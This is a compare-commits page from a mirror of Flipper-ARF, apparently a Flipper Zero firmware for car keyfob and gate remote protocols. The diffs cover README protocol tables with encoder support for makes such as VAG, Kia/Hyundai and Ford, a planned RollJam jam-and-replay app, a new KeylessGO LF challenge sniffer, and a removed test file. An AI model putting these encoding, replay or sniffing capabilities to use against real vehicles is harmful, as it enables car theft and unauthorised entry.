mirror of
https://github.com/D4C1-Labs/Flipper-ARF.git
synced 2026-03-29 11:39:54 +00:00
Compare commits
42 Commits
dev-730bb3
...
dev-1c9fdd
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1c9fddf076 | ||
|
|
4380d9f156 | ||
|
|
a4da50c191 | ||
|
|
e881d69ab3 | ||
|
|
b041177398 | ||
|
|
f347d5a976 | ||
|
|
3a6da87288 | ||
|
|
5d94639d81 | ||
|
|
5dcfc48e10 | ||
|
|
20a95b2fec | ||
|
|
3605669cc5 | ||
|
|
fb1c28a0dd | ||
|
|
64a971e806 | ||
|
|
12db96a8ab | ||
|
|
4b50b8b70c | ||
|
|
0f24f8c105 | ||
|
|
238f39d0d8 | ||
|
|
4c3581735b | ||
|
|
689df5262d | ||
|
|
86c740d923 | ||
|
|
0aef017c15 | ||
|
|
cea3bc3b6a | ||
|
|
f3d08573a1 | ||
|
|
9e52a6eb6b | ||
|
|
faf669b457 | ||
|
|
e445b28d73 | ||
|
|
19e2eaa554 | ||
|
|
2571ad7f22 | ||
|
|
22a0870559 | ||
|
|
1c9d1f404a | ||
|
|
fabb1ccc2d | ||
|
|
6a432a93ad | ||
|
|
d2cca91ec8 | ||
|
|
6e483393e1 | ||
|
|
4dc688c25b | ||
|
|
585ce97358 | ||
|
|
592bf5f1ae | ||
|
|
a02aabbbda | ||
|
|
3365fc4fed | ||
|
|
a37ba6b815 | ||
|
|
ab1231667c | ||
|
|
fd7d8c1ea8 |
3
.github/workflows/build-dev.yml
vendored
3
.github/workflows/build-dev.yml
vendored
@@ -17,6 +17,7 @@ jobs:
|
||||
|
||||
- name: Build firmware
|
||||
run: |
|
||||
export DIST_SUFFIX=Flipper-ARF
|
||||
chmod +x fbt
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
|
||||
@@ -28,7 +29,7 @@ jobs:
|
||||
id: firmware
|
||||
run: |
|
||||
DIR=$(ls -d dist/f7-* | head -n 1)
|
||||
FILE="$DIR/flipper-z-f7-update-local.tgz"
|
||||
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
|
||||
|
||||
if [ ! -f "$FILE" ]; then
|
||||
echo "Firmware file not found!"
|
||||
|
||||
127
README.md
127
README.md
@@ -42,67 +42,67 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
### Automotive Protocols
|
||||
|
||||
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder |
|
||||
|:---|:---|:---:|:---:|:---:|:---:|
|
||||
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
|
||||
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
|
||||
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
|
||||
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
|
||||
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
|
||||
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes |
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes |
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
|
||||
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
|
||||
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | No |
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
|
||||
|
||||
### Gate / Access Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder |
|
||||
|:---|:---:|:---:|:---:|:---:|
|
||||
| Keeloq | 433/868/315 MHz | AM | Yes | Yes |
|
||||
| Nice FLO | 433 MHz | AM | Yes | Yes |
|
||||
| Nice FloR-S | 433 MHz | AM | Yes | Yes |
|
||||
| CAME | 433/315 MHz | AM | Yes | Yes |
|
||||
| CAME TWEE | 433 MHz | AM | Yes | Yes |
|
||||
| CAME Atomo | 433 MHz | AM | Yes | Yes |
|
||||
| Faac SLH | 433/868 MHz | AM | Yes | Yes |
|
||||
| Somfy Telis | 433 MHz | AM | Yes | Yes |
|
||||
| Somfy Keytis | 433 MHz | AM | Yes | Yes |
|
||||
| Alutech AT-4N | 433 MHz | AM | Yes | Yes |
|
||||
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes |
|
||||
| Beninca ARC | 433 MHz | AM | Yes | Yes |
|
||||
| Hormann HSM | 433/868 MHz | AM | Yes | Yes |
|
||||
| Marantec | 433 MHz | AM | Yes | Yes |
|
||||
| Marantec24 | 433 MHz | AM | Yes | Yes |
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| Keeloq | 433/868/315 MHz | AM | Yes | Yes | No |
|
||||
| Nice FLO | 433 MHz | AM | Yes | Yes | No |
|
||||
| Nice FloR-S | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| CAME | 433/315 MHz | AM | Yes | Yes | No |
|
||||
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
|
||||
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
|
||||
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Holtek | 433 MHz | AM | Yes | Yes | No |
|
||||
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
|
||||
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
|
||||
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
|
||||
|
||||
### General Static Protocols
|
||||
### General Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder |
|
||||
|:---|:---:|:---:|:---:|:---:|
|
||||
| Princeton | 433/315 MHz | AM | Yes | Yes |
|
||||
| Linear | 315 MHz | AM | Yes | Yes |
|
||||
| LinearDelta3 | 315 MHz | AM | Yes | Yes |
|
||||
| GateTX | 433 MHz | AM | Yes | Yes |
|
||||
| Security+ 1.0 | 315 MHz | AM | Yes | Yes |
|
||||
| Security+ 2.0 | 315 MHz | AM | Yes | Yes |
|
||||
| Chamberlain Code | 315 MHz | AM | Yes | Yes |
|
||||
| MegaCode | 315 MHz | AM | Yes | Yes |
|
||||
| Mastercode | 433 MHz | AM | Yes | Yes |
|
||||
| Dickert MAHS | 433 MHz | AM | Yes | Yes |
|
||||
| SMC5326 | 433 MHz | AM | Yes | Yes |
|
||||
| Phoenix V2 | 433 MHz | AM | Yes | Yes |
|
||||
| Doitrand | 433 MHz | AM | Yes | Yes |
|
||||
| Hay21 | 433 MHz | AM | Yes | Yes |
|
||||
| Revers RB2 | 433 MHz | AM | Yes | Yes |
|
||||
| Roger | 433 MHz | AM | Yes | Yes |
|
||||
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes |
|
||||
| RAW | All | All | Yes | Yes |
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| Princeton | 433/315 MHz | AM | Yes | Yes | No |
|
||||
| Linear | 315 MHz | AM | Yes | Yes | No |
|
||||
| LinearDelta3 | 315 MHz | AM | Yes | Yes | No |
|
||||
| GateTX | 433 MHz | AM | Yes | Yes | No |
|
||||
| Security+ 1.0 | 315 MHz | AM | Yes | Yes | No |
|
||||
| Security+ 2.0 | 315 MHz | AM | Yes | Yes | No |
|
||||
| Chamberlain Code | 315 MHz | AM | Yes | Yes | No |
|
||||
| MegaCode | 315 MHz | AM | Yes | Yes | No |
|
||||
| Mastercode | 433 MHz | AM | Yes | Yes | No |
|
||||
| Dickert MAHS | 433 MHz | AM | Yes | Yes | No |
|
||||
| SMC5326 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Phoenix V2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Doitrand | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hay21 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Roger | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
---
|
||||
|
||||
@@ -110,9 +110,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
Compact release build:
|
||||
|
||||
To build:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
```
|
||||
To flash:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 flash_usb_full
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
@@ -125,7 +130,7 @@ Flipper-ARF aims to achieve:
|
||||
- Stable encoder/decoder implementations
|
||||
- Modular protocol expansion
|
||||
|
||||
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
|
||||
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
|
||||
|
||||
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
|
||||
|
||||
@@ -133,11 +138,9 @@ Flipper-ARF aims to achieve:
|
||||
|
||||
## To Do / Planned Features
|
||||
|
||||
- [ ] Add Scher Khan & Starline protocols
|
||||
- [ ] Marelli BSI encodere and encryption
|
||||
- [ ] Fix and reintegrate RollJam app (future updates)
|
||||
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
|
||||
- [ ] Improve collaboration workflow to avoid overlapping work
|
||||
- [ ] Marelli BSI encoder and encryption
|
||||
- [ ] Improve RollJam app
|
||||
- [ ] Expand and refine as many manufacturer protocols as possible
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -222,13 +222,6 @@ App(
|
||||
requires=["unit_tests"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="test_js",
|
||||
sources=["tests/common/*.c", "tests/js/*.c"],
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="get_api",
|
||||
requires=["unit_tests", "js_app"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="test_strint",
|
||||
|
||||
@@ -1,395 +0,0 @@
|
||||
#include "../test.h" // IWYU pragma: keep
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_random.h>
|
||||
|
||||
#include <storage/storage.h>
|
||||
#include <applications/system/js_app/js_thread.h>
|
||||
#include <applications/system/js_app/js_value.h>
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define TAG "JsUnitTests"
|
||||
|
||||
#define JS_SCRIPT_PATH(name) EXT_PATH("unit_tests/js/" name ".js")
|
||||
|
||||
typedef enum {
|
||||
JsTestsFinished = 1,
|
||||
JsTestsError = 2,
|
||||
} JsTestFlag;
|
||||
|
||||
typedef struct {
|
||||
FuriEventFlag* event_flags;
|
||||
FuriString* error_string;
|
||||
} JsTestCallbackContext;
|
||||
|
||||
static void js_test_callback(JsThreadEvent event, const char* msg, void* param) {
|
||||
JsTestCallbackContext* context = param;
|
||||
if(event == JsThreadEventPrint) {
|
||||
FURI_LOG_I("js_test", "%s", msg);
|
||||
} else if(event == JsThreadEventError || event == JsThreadEventErrorTrace) {
|
||||
context->error_string = furi_string_alloc_set_str(msg);
|
||||
furi_event_flag_set(context->event_flags, JsTestsFinished | JsTestsError);
|
||||
} else if(event == JsThreadEventDone) {
|
||||
furi_event_flag_set(context->event_flags, JsTestsFinished);
|
||||
}
|
||||
}
|
||||
|
||||
static void js_test_run(const char* script_path) {
|
||||
JsTestCallbackContext* context = malloc(sizeof(JsTestCallbackContext));
|
||||
context->event_flags = furi_event_flag_alloc();
|
||||
|
||||
JsThread* thread = js_thread_run(script_path, js_test_callback, context);
|
||||
uint32_t flags = furi_event_flag_wait(
|
||||
context->event_flags, JsTestsFinished, FuriFlagWaitAny, FuriWaitForever);
|
||||
if(flags & FuriFlagError) {
|
||||
// getting the flags themselves should not fail
|
||||
furi_crash();
|
||||
}
|
||||
|
||||
FuriString* error_string = context->error_string;
|
||||
|
||||
js_thread_stop(thread);
|
||||
furi_event_flag_free(context->event_flags);
|
||||
free(context);
|
||||
|
||||
if(flags & JsTestsError) {
|
||||
// memory leak: not freeing the FuriString if the tests fail,
|
||||
// because mu_fail executes a return
|
||||
//
|
||||
// who cares tho?
|
||||
mu_fail(furi_string_get_cstr(error_string));
|
||||
}
|
||||
}
|
||||
|
||||
MU_TEST(js_test_basic) {
|
||||
js_test_run(JS_SCRIPT_PATH("basic"));
|
||||
}
|
||||
MU_TEST(js_test_math) {
|
||||
js_test_run(JS_SCRIPT_PATH("math"));
|
||||
}
|
||||
MU_TEST(js_test_event_loop) {
|
||||
js_test_run(JS_SCRIPT_PATH("event_loop"));
|
||||
}
|
||||
MU_TEST(js_test_storage) {
|
||||
js_test_run(JS_SCRIPT_PATH("storage"));
|
||||
}
|
||||
|
||||
static void js_value_test_compatibility_matrix(struct mjs* mjs) {
|
||||
static const JsValueType types[] = {
|
||||
JsValueTypeAny,
|
||||
JsValueTypeAnyArray,
|
||||
JsValueTypeAnyObject,
|
||||
JsValueTypeFunction,
|
||||
JsValueTypeRawPointer,
|
||||
JsValueTypeInt32,
|
||||
JsValueTypeDouble,
|
||||
JsValueTypeString,
|
||||
JsValueTypeBool,
|
||||
};
|
||||
|
||||
mjs_val_t values[] = {
|
||||
mjs_mk_undefined(),
|
||||
mjs_mk_foreign(mjs, (void*)0xDEADBEEF),
|
||||
mjs_mk_array(mjs),
|
||||
mjs_mk_object(mjs),
|
||||
mjs_mk_number(mjs, 123.456),
|
||||
mjs_mk_string(mjs, "test", ~0, false),
|
||||
mjs_mk_boolean(mjs, true),
|
||||
};
|
||||
|
||||
// for proper matrix formatting and better readability
|
||||
#define YES true
|
||||
#define NO_ false
|
||||
static const bool success_matrix[COUNT_OF(types)][COUNT_OF(values)] = {
|
||||
// types:
|
||||
{YES, YES, YES, YES, YES, YES, YES}, // any
|
||||
{NO_, NO_, YES, NO_, NO_, NO_, NO_}, // array
|
||||
{NO_, NO_, YES, YES, NO_, NO_, NO_}, // obj
|
||||
{NO_, NO_, NO_, NO_, NO_, NO_, NO_}, // fn
|
||||
{NO_, YES, NO_, NO_, NO_, NO_, NO_}, // ptr
|
||||
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // int32
|
||||
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // double
|
||||
{NO_, NO_, NO_, NO_, NO_, YES, NO_}, // str
|
||||
{NO_, NO_, NO_, NO_, NO_, NO_, YES}, // bool
|
||||
//
|
||||
//und ptr arr obj num str bool <- values
|
||||
};
|
||||
#undef NO_
|
||||
#undef YES
|
||||
|
||||
for(size_t i = 0; i < COUNT_OF(types); i++) {
|
||||
for(size_t j = 0; j < COUNT_OF(values); j++) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = types[i],
|
||||
.n_children = 0,
|
||||
};
|
||||
// we only care about the status, not the result. double has the largest size out of
|
||||
// all the results
|
||||
uint8_t result[sizeof(double)];
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&values[j],
|
||||
result);
|
||||
if((status == JsValueParseStatusOk) != success_matrix[i][j]) {
|
||||
FURI_LOG_E(TAG, "type %zu, value %zu", i, j);
|
||||
mu_fail("see serial logs");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_literal(struct mjs* mjs) {
|
||||
static const JsValueType types[] = {
|
||||
JsValueTypeAny,
|
||||
JsValueTypeAnyArray,
|
||||
JsValueTypeAnyObject,
|
||||
};
|
||||
|
||||
mjs_val_t values[] = {
|
||||
mjs_mk_undefined(),
|
||||
mjs_mk_array(mjs),
|
||||
mjs_mk_object(mjs),
|
||||
};
|
||||
|
||||
mu_assert_int_eq(COUNT_OF(types), COUNT_OF(values));
|
||||
for(size_t i = 0; i < COUNT_OF(types); i++) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = types[i],
|
||||
.n_children = 0,
|
||||
};
|
||||
mjs_val_t result;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&values[i],
|
||||
&result);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
mu_assert(result == values[i], "wrong result");
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_primitive(
|
||||
struct mjs* mjs,
|
||||
JsValueType type,
|
||||
const void* c_value,
|
||||
size_t c_value_size,
|
||||
mjs_val_t js_val) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = type,
|
||||
.n_children = 0,
|
||||
};
|
||||
uint8_t result[c_value_size];
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&js_val,
|
||||
result);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
if(type == JsValueTypeString) {
|
||||
const char* result_str = *(const char**)&result;
|
||||
mu_assert_string_eq(c_value, result_str);
|
||||
} else {
|
||||
mu_assert_mem_eq(c_value, result, c_value_size);
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_primitives(struct mjs* mjs) {
|
||||
int32_t i32 = 123;
|
||||
js_value_test_primitive(mjs, JsValueTypeInt32, &i32, sizeof(i32), mjs_mk_number(mjs, i32));
|
||||
|
||||
double dbl = 123.456;
|
||||
js_value_test_primitive(mjs, JsValueTypeDouble, &dbl, sizeof(dbl), mjs_mk_number(mjs, dbl));
|
||||
|
||||
const char* str = "test";
|
||||
js_value_test_primitive(
|
||||
mjs, JsValueTypeString, str, strlen(str) + 1, mjs_mk_string(mjs, str, ~0, false));
|
||||
|
||||
bool boolean = true;
|
||||
js_value_test_primitive(
|
||||
mjs, JsValueTypeBool, &boolean, sizeof(boolean), mjs_mk_boolean(mjs, boolean));
|
||||
}
|
||||
|
||||
static uint32_t
|
||||
js_value_test_enum(struct mjs* mjs, const JsValueDeclaration* decl, const char* value) {
|
||||
mjs_val_t str = mjs_mk_string(mjs, value, ~0, false);
|
||||
uint32_t result;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs, JS_VALUE_PARSE_SOURCE_VALUE(decl), JsValueParseFlagNone, &status, &str, &result);
|
||||
if(status != JsValueParseStatusOk) return 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
static void js_value_test_enums(struct mjs* mjs) {
|
||||
static const JsValueEnumVariant enum_1_variants[] = {
|
||||
{"variant 1", 1},
|
||||
{"variant 2", 2},
|
||||
{"variant 3", 3},
|
||||
};
|
||||
static const JsValueDeclaration enum_1 = JS_VALUE_ENUM(uint32_t, enum_1_variants);
|
||||
|
||||
static const JsValueEnumVariant enum_2_variants[] = {
|
||||
{"read", 4},
|
||||
{"write", 8},
|
||||
};
|
||||
static const JsValueDeclaration enum_2 = JS_VALUE_ENUM(uint32_t, enum_2_variants);
|
||||
|
||||
mu_assert_int_eq(1, js_value_test_enum(mjs, &enum_1, "variant 1"));
|
||||
mu_assert_int_eq(2, js_value_test_enum(mjs, &enum_1, "variant 2"));
|
||||
mu_assert_int_eq(3, js_value_test_enum(mjs, &enum_1, "variant 3"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_1, "not a thing"));
|
||||
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 1"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 2"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 3"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "not a thing"));
|
||||
mu_assert_int_eq(4, js_value_test_enum(mjs, &enum_2, "read"));
|
||||
mu_assert_int_eq(8, js_value_test_enum(mjs, &enum_2, "write"));
|
||||
}
|
||||
|
||||
static void js_value_test_object(struct mjs* mjs) {
|
||||
static const JsValueDeclaration int_decl = JS_VALUE_SIMPLE(JsValueTypeInt32);
|
||||
|
||||
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueEnumVariant enum_variants[] = {
|
||||
{"variant 1", 1},
|
||||
{"variant 2", 2},
|
||||
{"variant 3", 3},
|
||||
};
|
||||
static const JsValueDeclaration enum_decl = JS_VALUE_ENUM(uint32_t, enum_variants);
|
||||
|
||||
static const JsValueObjectField fields[] = {
|
||||
{"int", &int_decl},
|
||||
{"str", &str_decl},
|
||||
{"enum", &enum_decl},
|
||||
};
|
||||
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
|
||||
|
||||
mjs_val_t object = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, object) {
|
||||
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
|
||||
JS_FIELD("int", mjs_mk_number(mjs, 123));
|
||||
JS_FIELD("enum", mjs_mk_string(mjs, "variant 2", ~0, false));
|
||||
}
|
||||
|
||||
const char* result_str;
|
||||
int32_t result_int;
|
||||
uint32_t result_enum;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&object,
|
||||
&result_int,
|
||||
&result_str,
|
||||
&result_enum);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
mu_assert_string_eq("Helloooo!", result_str);
|
||||
mu_assert_int_eq(123, result_int);
|
||||
mu_assert_int_eq(2, result_enum);
|
||||
}
|
||||
|
||||
static void js_value_test_default(struct mjs* mjs) {
|
||||
static const JsValueDeclaration int_decl =
|
||||
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 123);
|
||||
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueObjectField fields[] = {
|
||||
{"int", &int_decl},
|
||||
{"str", &str_decl},
|
||||
};
|
||||
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
|
||||
|
||||
mjs_val_t object = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, object) {
|
||||
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
|
||||
JS_FIELD("int", mjs_mk_undefined());
|
||||
}
|
||||
|
||||
const char* result_str;
|
||||
int32_t result_int;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&object,
|
||||
&result_int,
|
||||
&result_str);
|
||||
mu_assert_string_eq("Helloooo!", result_str);
|
||||
mu_assert_int_eq(123, result_int);
|
||||
}
|
||||
|
||||
static void js_value_test_args_fn(struct mjs* mjs) {
|
||||
static const JsValueDeclaration arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments args = JS_VALUE_ARGS(arg_list);
|
||||
|
||||
int32_t a, b, c;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &args, &a, &b, &c);
|
||||
|
||||
mu_assert_int_eq(123, a);
|
||||
mu_assert_int_eq(456, b);
|
||||
mu_assert_int_eq(-420, c);
|
||||
}
|
||||
|
||||
static void js_value_test_args(struct mjs* mjs) {
|
||||
mjs_val_t function = MJS_MK_FN(js_value_test_args_fn);
|
||||
|
||||
mjs_val_t result;
|
||||
mjs_val_t args[] = {
|
||||
mjs_mk_number(mjs, 123),
|
||||
mjs_mk_number(mjs, 456),
|
||||
mjs_mk_number(mjs, -420),
|
||||
};
|
||||
mu_assert_int_eq(
|
||||
MJS_OK, mjs_apply(mjs, &result, function, MJS_UNDEFINED, COUNT_OF(args), args));
|
||||
}
|
||||
|
||||
MU_TEST(js_value_test) {
|
||||
struct mjs* mjs = mjs_create(NULL);
|
||||
|
||||
js_value_test_compatibility_matrix(mjs);
|
||||
js_value_test_literal(mjs);
|
||||
js_value_test_primitives(mjs);
|
||||
js_value_test_enums(mjs);
|
||||
js_value_test_object(mjs);
|
||||
js_value_test_default(mjs);
|
||||
js_value_test_args(mjs);
|
||||
|
||||
mjs_destroy(mjs);
|
||||
}
|
||||
|
||||
MU_TEST_SUITE(test_js) {
|
||||
MU_RUN_TEST(js_value_test);
|
||||
MU_RUN_TEST(js_test_basic);
|
||||
MU_RUN_TEST(js_test_math);
|
||||
MU_RUN_TEST(js_test_event_loop);
|
||||
MU_RUN_TEST(js_test_storage);
|
||||
}
|
||||
|
||||
int run_minunit_test_js(void) {
|
||||
MU_RUN_SUITE(test_js);
|
||||
return MU_EXIT_CODE;
|
||||
}
|
||||
|
||||
TEST_API_DEFINE(run_minunit_test_js)
|
||||
@@ -7,8 +7,6 @@
|
||||
|
||||
#include <rpc/rpc_i.h>
|
||||
#include <flipper.pb.h>
|
||||
#include <applications/system/js_app/js_thread.h>
|
||||
#include <applications/system/js_app/js_value.h>
|
||||
|
||||
static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
|
||||
API_METHOD(resource_manifest_reader_alloc, ResourceManifestReader*, (Storage*)),
|
||||
@@ -34,21 +32,4 @@ static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
|
||||
xQueueGenericSend,
|
||||
BaseType_t,
|
||||
(QueueHandle_t, const void* const, TickType_t, const BaseType_t)),
|
||||
API_METHOD(
|
||||
js_thread_run,
|
||||
JsThread*,
|
||||
(const char* script_path, JsThreadCallback callback, void* context)),
|
||||
API_METHOD(js_thread_stop, void, (JsThread * worker)),
|
||||
API_METHOD(js_value_buffer_size, size_t, (const JsValueParseDeclaration declaration)),
|
||||
API_METHOD(
|
||||
js_value_parse,
|
||||
JsValueParseStatus,
|
||||
(struct mjs * mjs,
|
||||
const JsValueParseDeclaration declaration,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* buffer,
|
||||
size_t buf_size,
|
||||
mjs_val_t* source,
|
||||
size_t n_c_vals,
|
||||
...)),
|
||||
API_VARIABLE(PB_Main_msg, PB_Main_msg_t)));
|
||||
|
||||
11
applications/main/KeylessGoSniffer/application.fam
Normal file
11
applications/main/KeylessGoSniffer/application.fam
Normal file
@@ -0,0 +1,11 @@
|
||||
App(
|
||||
appid="lf_sniffer",
|
||||
name="KeylessGO Sniffer",
|
||||
apptype=FlipperAppType.MENUEXTERNAL,
|
||||
entry_point="lf_sniffer_app",
|
||||
requires=["gui", "notification", "storage"],
|
||||
stack_size=4 * 1024,
|
||||
fap_category="GPIO",
|
||||
fap_version=(1, 0),
|
||||
fap_description="LF 125kHz challenge sniffer for KeylessGO analysis",
|
||||
)
|
||||
506
applications/main/KeylessGoSniffer/lf_analyze.py
Normal file
506
applications/main/KeylessGoSniffer/lf_analyze.py
